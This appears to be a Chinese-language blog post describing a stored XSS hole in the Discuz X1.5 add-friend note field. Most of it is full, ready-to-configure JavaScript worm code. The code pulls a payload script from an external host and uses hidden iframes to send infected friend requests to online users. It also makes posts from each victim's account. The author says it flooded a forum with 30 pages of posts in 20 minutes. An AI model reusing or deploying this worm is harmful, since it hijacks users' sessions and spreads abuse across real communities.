Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

时间:2023-03-09 19:31:28
Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散。

位置在添加好友处

Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

x完之后的效果

Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

点击后触发

Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

ok 借助此存储xss,我们进行worm传播,dz的会话cookie是被打伤http-only的,但是xss的效果是获取你当前域下的用户会话的权限。这不干扰我们worm的进行。

step 1 : attacker 发送带xss worm payload给 用户a,

step 2 : 用户A点击后,自身作为宿主去添加其他人为好友,并且附带攻击payload

step 3 : 被x的用户互相感染,成指数增长,为了验证,凡是被感染的用户都会被我们用js控制发一个帖子

没code说个jb,worm代码如下

你需要修改

1 urlBase 为你的想1.5 论坛基地址

2 存放xss的payload的地址

//code for xss test

//论坛的基地址
var urlBase = "http://forum.xxx.com"; var add= function(uid){ var ifBox = window['ifBox'] || (window['ifBox']={}); var uyk = (new Date()).getTime(); var ifFame = ifBox[uyk] =document.createElement("iframe"); ifFame.src=urlBase + "/home.php?mod=spacecp&ac=friend&op=add&uid="+uid; ifFame.width=0;ifFame.height=0; ifFame.onload = function(){ try{
//存放xss payload的地址
ifFame.contentDocument.getElementsByName("note")[0].value= 'hello<script src="http://xxx.xxx.xxx/js/dz.js"></script>'; ifFame.contentDocument.getElementById("addsubmit_btn").click(); ifFame=null; }catch(err){ } } document.body.appendChild(ifFame); } var newThread = function(){ var if1 = document.createElement("iframe"); if1.src= urlBase+"/forum.php?mod=post&action=newthread&fid=21"; if1.width=0;if1.height=0; if1.onload = function(){ var doc =if1.contentDocument; doc.getElementById("subject").value = "哇卡卡卡~~~"; if1.contentDocument.getElementById("e_iframe").contentDocument.body.innerHTML =" _______________</br>< XSS Worm Test ></br> ---------------</br> \ ^__^</br> \ (oo)\_______</br> (__)\ )\/\</br> ||----w |</br> || ||</br>"; doc.getElementById("postsubmit").click(); if1.onload = function(){return false;} } document.body.appendChild(if1); } var if0 = document.createElement("iframe"); if0.src= urlBase + "/forum.php?showoldetails=yes#online"; if0.width=0;if0.height=0; if0.onload = function(){ var uli =if0.contentDocument.getElementsByTagName("li"); for(var i = 0;i<uli.length;i++){ if(uli[i].title.length > 5){ var uid = uli[i].childNodes[3].href.substring(uli[i].childNodes[3].href.indexOf("uid=")+4); var r = Math.round(Math.random() * 10); // if(i%10 == r){ //轻点 newThread(); add(uid); // } } } } document.body.appendChild(if0);

这里面又很多的坑包括js的异步加载,跨iframe的元素操作等等,希望对其他人能提供帮助。

实际的worm效果是,20分钟内刷了30页,每页20篇的论坛帖子把~~